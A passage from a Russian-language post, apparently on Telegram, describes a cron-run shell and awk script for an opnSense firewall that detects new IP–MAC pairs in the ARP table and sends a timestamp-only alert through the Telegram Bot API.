curl -s -X POST https://api.telegram.org/bot$bot_id/sendMessage \
-F chat_id="$chat_id" -F text="$text" >/dev/null
endif
Этот скрипт сравнивает значения текущих IP и mac, со значениями, сохраненными в файле
checkarp.sh.spr. Если появилась новая связка — отправляется сообщение в телеграм о ВРЕМЕНИ появления(контроля) новых данных в формате UNIXTIME, и новая связка IP-MAC сразу дописываются в справочник spr.
Сами данные в телегу не отправляются — чтобы узнать, что появилось, придется залезть на машину и посмотреть grep/tail. Сделано это специально, чтобы лишний раз не светить инфраструктуру.
Ставим его на cron
*/15, потому что время жизни arp 20 минут (видно из вывода arp). Работает под обычным пользователем.#checkarp.sh.awk
/[0-9a-f]{2}(:[0-9a-f]{2}){5}/{
if(NF==3){spr[$2 " " $3]}
else{ if( NF>3 && $0~/192\.168\.[01]\./){gsub(/[()]/, "", $0); arp[$2 " " $4]}}
}
END{
ret=0
for(i in arp){
seek=0
for(j in spr){
if(i==j){
seek=1; break
}
}
if(seek==0){ret=1; print dt, i}
}
exit ret
}
Основная часть на awk.
1. Анализируем только строки, в которых есть mac.
2. Файлы справочника и вывод arp разделяем по числу полей (в справочнике их три: unixtime ip mac).
3. Из вывода arp убираем все, что не относится к подсетям DMZ и LAN.
4. Тупо сравниваем связки каждый с каждым. (осторожно на больших подсетях, поскольку N^2).
5. Если что-то нашлось - errorlevel=1.
Все можно было бы сделать быстрее и проще, но очень хотелось:
6. Отказаться от временных файлов.(в opnSense нет /dev/shm).
7. Данные дописываются в тот же справочник, из которого читаются. Это можно сделать, потому что на момент анализа (блок END) данные из справочника уже считаны и файл закрыт.
Вопросы и предложения приветствуются.
man arp awk(gawk)
В следующей статье попробую описать впечатления и с какими проблемами пришлось столкнуться.
UPD: В комментах скрипт на sh
—
Please open Telegram to view this post
VIEW IN TELEGRAM